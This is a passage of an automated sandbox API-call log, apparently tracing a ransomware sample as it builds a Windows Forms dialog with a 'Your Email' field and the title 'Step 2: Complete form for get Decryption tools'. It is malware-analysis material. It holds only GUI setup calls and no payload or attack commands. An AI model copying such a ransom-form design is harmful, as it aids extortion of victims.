lParam=0x49000c) returned 0x0 [0180.452] GetClientRect (in: hWnd=0x201da, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.452] GetWindowRect (in: hWnd=0x201da, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.452] GetParent (hWnd=0x201da) returned 0x201ea [0180.453] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -32243971 [0180.453] SendMessageW (hWnd=0x201da, Msg=0x2210, wParam=0x1da0001, lParam=0x201da) returned 0x0 [0180.453] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201da, Msg=0x2210, wParam=0x1da0001, lParam=0x201da) returned 0x0 [0180.453] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201da, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.453] GetParent (hWnd=0x201da) returned 0x201ea [0180.453] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.453] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.453] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.453] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Your Email", dwStyle=0x5600000d, X=12, Y=41, nWidth=77, nHeight=15, hWndParent=0x201ea, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201dc [0180.453] SetWindowLongPtrW (hWnd=0x201dc, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.453] GetWindowLongPtrW (hWnd=0x201dc, nIndex=-4) returned 0x7fefc1961b4 [0180.453] SetWindowLongPtrW (hWnd=0x201dc, nIndex=-4, dwNewLong=0x1b5c237c) returned 0x7fefc1961b4 [0180.453] GetWindowLongPtrW (hWnd=0x201dc, nIndex=-4) returned 0x1b5c237c [0180.453] GetWindowLongPtrW (hWnd=0x201dc, nIndex=-16) returned 0x4600000d [0180.454] GetWindowLongPtrW (hWnd=0x201dc, nIndex=-12) returned 0x0 [0180.454] SetWindowLongPtrW (hWnd=0x201dc, nIndex=-12, dwNewLong=0x201dc) returned 0x0 [0180.454] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201dc, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.454] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201dc, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.454] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201dc, Msg=0x1, wParam=0x0, lParam=0x1ad6f0) returned 0x0 [0180.454] GetWindow (hWnd=0x201dc, uCmd=0x3) returned 0x201da [0180.454] GetClientRect (in: hWnd=0x201dc, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.454] GetWindowRect (in: hWnd=0x201dc, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.454] GetParent (hWnd=0x201dc) returned 0x201ea [0180.454] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad130, cPoints=0x2 | out: lpPoints=0x1ad130) returned -32243971 [0180.456] SetWindowTextW (hWnd=0x201dc, lpString="Your Email") returned 1 [0180.456] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201dc, Msg=0xc, wParam=0x0, lParam=0x28f4164) returned 0x1 [0180.456] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201dc, Msg=0x5, wParam=0x0, lParam=0xf004d) returned 0x0 [0180.456] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201dc, Msg=0x3, wParam=0x0, lParam=0x29000c) returned 0x0 [0180.456] GetClientRect (in: hWnd=0x201dc, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.456] GetWindowRect (in: hWnd=0x201dc, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.456] GetParent (hWnd=0x201dc) returned 0x201ea [0180.456] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -32243971 [0180.456] SendMessageW (hWnd=0x201dc, Msg=0x2210, wParam=0x1dc0001, lParam=0x201dc) returned 0x0 [0180.456] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201dc, Msg=0x2210, wParam=0x1dc0001, lParam=0x201dc) returned 0x0 [0180.456] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201dc, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.457] GetParent (hWnd=0x201dc) returned 0x201ea [0180.457] GetCurrentActCtx (in: lphActCtx=0x1ae010 | out: lphActCtx=0x1ae010*=0x1ac50528) returned 1 [0180.457] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.457] GetClassInfoW (in: hInstance=0x0, lpClassName="EDIT", lpWndClass=0x29ae278 | out: lpWndClass=0x29ae278) returned 1 [0180.457] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.458] CoTaskMemAlloc (cb=0x54) returned 0x1acf34b0 [0180.458] RegisterClassW (lpWndClass=0x1adcf0) returned 0xc140 [0180.458] CoTaskMemFree (pv=0x1acf34b0) [0180.458] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.458] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x568100c0, X=15, Y=148, nWidth=385, nHeight=23, hWndParent=0x201ea, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201d6 [0180.458] SetWindowLongPtrW (hWnd=0x201d6, nIndex=-4, dwNewLong=0x7fefc19975c) returned 0x1b5c23cc [0180.458] GetWindowLongPtrW (hWnd=0x201d6, nIndex=-4) returned 0x7fefc19975c [0180.458] SetWindowLongPtrW (hWnd=0x201d6, nIndex=-4, dwNewLong=0x1b5c241c) returned 0x7fefc19975c [0180.458] GetWindowLongPtrW (hWnd=0x201d6, nIndex=-4) returned 0x1b5c241c [0180.458] GetWindowLongPtrW (hWnd=0x201d6, nIndex=-16) returned 0x468100c0 [0180.458] GetWindowLongPtrW (hWnd=0x201d6, nIndex=-12) returned 0x0 [0180.458] SetWindowLongPtrW (hWnd=0x201d6, nIndex=-12, dwNewLong=0x201d6) returned 0x0 [0180.458] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x81, wParam=0x0, lParam=0x1ad6d0) returned 0x1 [0180.545] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x1ace30) returned 0x0 [0180.546] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x1ace30) returned 0x1 [0180.546] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x83, wParam=0x0, lParam=0x1ad780) returned 0x0 [0180.546] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x1, wParam=0x0, lParam=0x1ad6d0) returned 0x1 [0180.547] SendMessageW (hWnd=0x201d6, Msg=0x2055, wParam=0x201d6, lParam=0x3) returned 0x2 [0180.547] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0180.547] GetWindow (hWnd=0x201d6, uCmd=0x3) returned 0x201dc [0180.547] GetClientRect (in: hWnd=0x201d6, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.547] GetWindowRect (in: hWnd=0x201d6, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.547] GetParent (hWnd=0x201d6) returned 0x201ea [0180.547] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad140, cPoints=0x2 | out: lpPoints=0x1ad140) returned -32243971 [0180.547] GetWindowTextLengthW (hWnd=0x201d6) returned 0 [0180.547] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0180.547] GetSystemMetrics (nIndex=42) returned 0 [0180.547] GetWindowTextW (in: hWnd=0x201d6, lpString=0x1acdc0, nMaxCount=1 | out: lpString="") returned 0 [0180.547] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0xd, wParam=0x1, lParam=0x1acdc0) returned 0x0 [0180.547] GetWindowTextLengthW (hWnd=0x201ea) returned 50 [0180.547] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x32 [0180.547] GetSystemMetrics (nIndex=42) returned 0 [0180.547] GetWindowTextW (in: hWnd=0x201ea, lpString=0x1acdf0, nMaxCount=51 | out: lpString=" Step 2: Complete form for get Decryption tools ") returned 50 [0180.547] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0xd, wParam=0x33, lParam=0x1acdf0) returned 0x32 [0180.548] GetDC (hWnd=0x0) returned 0x901081c [0180.548] GdipCreateFromHDC (hdc=0x901081c, graphics=0x1ace08) returned 0x0 [0180.548] CoTaskMemAlloc (cb=0x5c) returned 0x1da21000 [0180.548] GdipGetLogFontW (font=0x1cbe4f80, graphics=0x1cc25910, logfontW=0x1da21000) returned 0x0 [0180.548] CoTaskMemFree (pv=0x1da21000) [0180.548] CoTaskMemAlloc (cb=0x5c) returned 0x1da21000 [0180.549] CoTaskMemFree (pv=0x1da21000) [0180.549] CoTaskMemAlloc (cb=0x5c) returned 0x1da21000 [0180.549] CoTaskMemFree (pv=0x1da21000) [0180.549] GdipDeleteGraphics (graphics=0x1cc25910) returned 0x0 [0180.549] ReleaseDC (hWnd=0x0, hDC=0x901081c) returned 1 [0180.550] CoTaskMemAlloc (cb=0x5c) returned 0x1da21000 [0180.552] CreateFontIndirectW (lplf=0x1da21000) returned 0x250a022a [0180.552] CoTaskMemFree (pv=0x1da21000) [0180.552] SendMessageW (hWnd=0x201d6, Msg=0x30, wParam=0x250a022a, lParam=0x0) returned 0x1 [0180.552] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x30, wParam=0x250a022a, lParam=0x0) returned 0x1 [0180.553] SendMessageW (hWnd=0x201d6, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.553] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.555] GetCurrentActCtx (in: lphActCtx=0x1acd10 | out: lphActCtx=0x1acd10*=0x1ac50528) returned 1 [0180.568] InitCommonControlsEx (picce=0x29aefa8) returned 1 [0180.569] GetClassInfoW (in: hInstance=0x0, lpClassName="tooltips_class32", lpWndClass=0x29af0f8 | out: lpWndClass=0x29af0f8) returned 1 [0180.569] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.569] CoTaskMemAlloc (cb=0x6c) returned 0x1acacc20 [0180.570] RegisterClassW (lpWndClass=0x1ac9f0) returned 0xc141 [0180.570] CoTaskMemFree (pv=0x1acacc20) [0180.570] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.570] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.tooltips_class32.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x2, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201d8 [0180.570] SetWindowLongPtrW (hWnd=0x201d8, nIndex=-4, dwNewLong=0x7fefc16f450) returned 0x1b5c246c [0180.570] GetWindowLongPtrW (hWnd=0x201d8, nIndex=-4) returned 0x7fefc16f450 [0180.570] SetWindowLongPtrW (hWnd=0x201d8, nIndex=-4, dwNewLong=0x1b5c24bc) returned 0x7fefc16f450 [0180.570] GetWindowLongPtrW (hWnd=0x201d8, nIndex=-4) returned 0x1b5c24bc [0180.570] GetWindowLongPtrW (hWnd=0x201d8, nIndex=-16) returned 0x4c00002 [0180.570] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x24, wParam=0x0, lParam=0x1ac460) returned 0x0 [0180.571] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x81, wParam=0x0, lParam=0x1ac3c0) returned 0x1 [0180.571] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x83, wParam=0x0, lParam=0x1ac480) returned 0x0 [0180.571] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x1, wParam=0x0, lParam=0x1ac3c0) returned 0x0 [0180.571] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x55, wParam=0x201d8, lParam=0x3) returned 0x2 [0180.573] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0180.581] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x1abb30) returned 0x0 [0180.582] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x1abb30) returned 0x0 [0180.582] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x1abb30) returned 0x0 [0180.582] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x1abb30) returned 0x0 [0180.853] GetSystemMetrics (nIndex=59) returned 1460 [0180.853] GetSystemMetrics (nIndex=60) returned 920 [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x418, wParam=0x0, lParam=0x5b4) returned 0xffffffffffffffff [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x418, wParam=0x0, lParam=0x5b4) returned 0xffffffffffffffff [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x403, wParam=0x0, lParam=0x1f4) returned 0x0 [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x403, wParam=0x0, lParam=0x1f4) returned 0x0 [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x415, wParam=0x2, lParam=0x0) returned 0x1388 [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x415, wParam=0x2, lParam=0x0) returned 0x1388 [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x415, wParam=0x3, lParam=0x0) returned 0x1f4 [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x415, wParam=0x3, lParam=0x0) returned 0x1f4 [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x415, wParam=0x1, lParam=0x0) returned 0x64 [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x415, wParam=0x1, lParam=0x0) returned 0x64 [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x415, wParam=0x2, lParam=0x0) returned 0x1388 [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x415, wParam=0x2, lParam=0x0) returned 0x1388 [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x415, wParam=0x3, lParam=0x0) returned 0x1f4 [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x415, wParam=0x3, lParam=0x0) returned 0x1f4 [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x415, wParam=0x1, lParam=0x0) returned 0x64 [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x415, wParam=0x1, lParam=0x0) returned 0x64 [0180.853] SendMessageW (hWnd=0x201d8, Msg=0x401, wParam=0x1, lParam=0x0) returned 0x0 [0180.853] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x401, wParam=0x1, lParam=0x0) returned 0x0 [0180.871] LocalAlloc (uFlags=0x0, uBytes=0xd8) returned 0x1ad03090 [0180.871] SendMessageW (hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29af520) returned 0x1 [0180.871] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29af520) returned 0x1 [0180.872] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x55, wParam=0x201d8, lParam=0x3) returned 0x2 [0180.872] LocalFree (hMem=0x1ad03090) returned 0x0 [0180.872] GetSystemMetrics (nIndex=5) returned 1 [0180.872] GetSystemMetrics (nIndex=6) returned 1 [0180.872] SendMessageW (hWnd=0x201d6, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.872] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.872] SendMessageW (hWnd=0x201d6, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0180.872] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0180.873] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x5, wParam=0x0, lParam=0x170181) returned 0x0 [0180.873] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x3, wParam=0x0, lParam=0x94000f) returned 0x0 [0180.873] GetClientRect (in: hWnd=0x201d6, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.873] GetWindowRect (in: hWnd=0x201d6, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.873] GetParent (hWnd=0x201d6) returned 0x201ea [0180.873] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1aced0, cPoints=0x2 | out: lpPoints=0x1aced0) returned -32243971 [0180.873] SendMessageW (hWnd=0x201d6, Msg=0x2210, wParam=0x1d60001, lParam=0x201d6) returned 0x0 [0180.873] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x2210, wParam=0x1d60001, lParam=0x201d6) returned 0x0 [0180.873] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.873] GetParent (hWnd=0x201d6) returned 0x201ea [0180.873] GetCurrentActCtx (in: lphActCtx=0x1ae010 | out: lphActCtx=0x1ae010*=0x1ac50528) returned 1 [0180.873] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.873] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.873] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x568100c0, X=15, Y=98, nWidth=385, nHeight=23, hWndParent=0x201ea, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201d2 [0180.874] SetWindowLongPtrW (hWnd=0x201d2, nIndex=-4, dwNewLong=0x7fefc19975c) returned 0x1b5c23cc [0180.874] GetWindowLongPtrW (hWnd=0x201d2, nIndex=-4) returned 0x7fefc19975c [0180.874] SetWindowLongPtrW (hWnd=0x201d2, nIndex=-4, dwNewLong=0x1b5c250c) returned 0x7fefc19975c [0180.874] GetWindowLongPtrW (hWnd=0x201d2, nIndex=-4) returned 0x1b5c250c [0180.874] GetWindowLongPtrW (hWnd=0x201d2, nIndex=-16) returned 0x468100c0 [0180.874] GetWindowLongPtrW (hWnd=0x201d2, nIndex=-12) returned 0x0 [0180.874] SetWindowLongPtrW (hWnd=0x201d2, nIndex=-12, dwNewLong=0x201d2) returned 0x0 [0180.874] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x81, wParam=0x0, lParam=0x1ad6d0) returned 0x1 [0180.874] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x1ace30) returned 0x0 [0180.874] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x1ace30) returned 0x1 [0180.874] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x83, wParam=0x0, lParam=0x1ad780) returned 0x0 [0180.874] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x1, wParam=0x0, lParam=0x1ad6d0) returned 0x1 [0180.875] SendMessageW (hWnd=0x201d2, Msg=0x2055, wParam=0x201d2, lParam=0x3) returned 0x2 [0180.875] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0180.875] GetWindow (hWnd=0x201d2, uCmd=0x3) returned 0x201d6 [0180.875] GetClientRect (in: hWnd=0x201d2, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.875] GetWindowRect (in: hWnd=0x201d2, lpRect=0x1ad140 | out: lpRect=0x1ad140) returned 1 [0180.875] GetParent (hWnd=0x201d2) returned 0x201ea [0180.875] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1ad140, cPoints=0x2 | out: lpPoints=0x1ad140) returned -32243971 [0180.875] GetWindowTextLengthW (hWnd=0x201d2) returned 0 [0180.875] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0180.875] GetSystemMetrics (nIndex=42) returned 0 [0180.875] GetWindowTextW (in: hWnd=0x201d2, lpString=0x1acdc0, nMaxCount=1 | out: lpString="") returned 0 [0180.875] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0xd, wParam=0x1, lParam=0x1acdc0) returned 0x0 [0180.875] GetWindowTextLengthW (hWnd=0x201ea) returned 50 [0180.875] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x32 [0180.875] GetSystemMetrics (nIndex=42) returned 0 [0180.875] GetWindowTextW (in: hWnd=0x201ea, lpString=0x1acdf0, nMaxCount=51 | out: lpString=" Step 2: Complete form for get Decryption tools ") returned 50 [0180.875] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201ea, Msg=0xd, wParam=0x33, lParam=0x1acdf0) returned 0x32 [0180.875] GetDC (hWnd=0x0) returned 0x901081c [0180.875] GdipCreateFromHDC (hdc=0x901081c, graphics=0x1ace08) returned 0x0 [0180.876] CoTaskMemAlloc (cb=0x5c) returned 0x1da22000 [0180.876] GdipGetLogFontW (font=0x1cbe4fc0, graphics=0x1cc25910, logfontW=0x1da22000) returned 0x0 [0180.876] CoTaskMemFree (pv=0x1da22000) [0180.876] CoTaskMemAlloc (cb=0x5c) returned 0x1da22000 [0180.876] CoTaskMemFree (pv=0x1da22000) [0180.876] CoTaskMemAlloc (cb=0x5c) returned 0x1da22000 [0180.876] CoTaskMemFree (pv=0x1da22000) [0180.876] GdipDeleteGraphics (graphics=0x1cc25910) returned 0x0 [0180.876] ReleaseDC (hWnd=0x0, hDC=0x901081c) returned 1 [0180.876] CoTaskMemAlloc (cb=0x5c) returned 0x1da22000 [0180.876] CreateFontIndirectW (lplf=0x1da22000) returned 0x260a0229 [0180.876] CoTaskMemFree (pv=0x1da22000) [0180.876] SendMessageW (hWnd=0x201d2, Msg=0x30, wParam=0x260a0229, lParam=0x0) returned 0x1 [0180.876] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x30, wParam=0x260a0229, lParam=0x0) returned 0x1 [0180.876] SendMessageW (hWnd=0x201d2, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.876] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.878] LocalAlloc (uFlags=0x0, uBytes=0xd8) returned 0x1ad03090 [0180.878] SendMessageW (hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29b0030) returned 0x1 [0180.878] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29b0030) returned 0x1 [0180.879] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x55, wParam=0x201d8, lParam=0x3) returned 0x2 [0180.879] LocalFree (hMem=0x1ad03090) returned 0x0 [0180.879] GetSystemMetrics (nIndex=5) returned 1 [0180.879] GetSystemMetrics (nIndex=6) returned 1 [0180.879] SendMessageW (hWnd=0x201d2, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.879] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.879] SendMessageW (hWnd=0x201d2, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0180.879] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0180.879] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x5, wParam=0x0, lParam=0x170181) returned 0x0 [0180.879] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x3, wParam=0x0, lParam=0x62000f) returned 0x0 [0180.879] GetClientRect (in: hWnd=0x201d2, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.879] GetWindowRect (in: hWnd=0x201d2, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.879] GetParent (hWnd=0x201d2) returned 0x201ea [0180.879] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201ea, lpPoints=0x1aced0, cPoints=0x2 | out: lpPoints=0x1aced0) returned -32243971 [0180.879] SendMessageW (hWnd=0x201d2, Msg=0x2210, wParam=0x1d20001, lParam=0x201d2) returned 0x0 [0180.879] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x2210, wParam=0x1d20001, lParam=0x201d2) returned 0x0 [0180.879] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.879] GetParent (hWnd=0x201d2) returned 0x201ea [0180.879] GetCurrentActCtx (in: lphActCtx=0x1ae010 | out: lphActCtx=0x1ae010*=0x1ac50528) returned 1 [0180.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.880] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.882] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x568100c0, X=106, Y=36, nWidth=294, nHeight=23, hWndParent=0x201ea, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201d4 [0180.883] SetWindowLongPtrW (hWnd=0x201d4, nIndex=-4, dwNewLong=0x7fefc19975c) returned 0x1b5c23cc [0180.884] GetWindowLongPtrW (hWnd=0x201d4, nIndex=-4) returned 0x7fefc19975c [0180.884] SetWindowLongPtrW (hWnd=0x201d4, nIndex=-4, dwNewLong=0x1b5c255c) returned 0x7fefc19975c [0180.884] GetWindowLongPtrW (hWnd=0x201d4, nIndex=-4) returned 0x1b5c255c [0180.884] GetWindowLongPtrW (hWnd=0x201d4, nIndex=-16) returned 0x468100c0 [0180.884] GetWindowLongPtrW (hWnd=0x201d4, nIndex=-12) returned 0x0 [0180.884] SetWindowLongPtrW (hWnd=0x201d4, nIndex=-12, dwNewLong=0x201d4) returned 0x0 [0180.884] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x81, wParam=0x0, lParam=0x1ad6d0) returned 0x1 [0180.884] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x1ace30) returned 0x0 [0180.884] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x1ace30) returned 0x1 [0180.884] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x83, wParam=0x0, lParam=0x1ad780) returned 0x0 [0180.884] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x201d4, Msg=0x1, wParam=0x0, lParam=0x1ad6d0) returned 0x1 [0180.885] SendMessageW 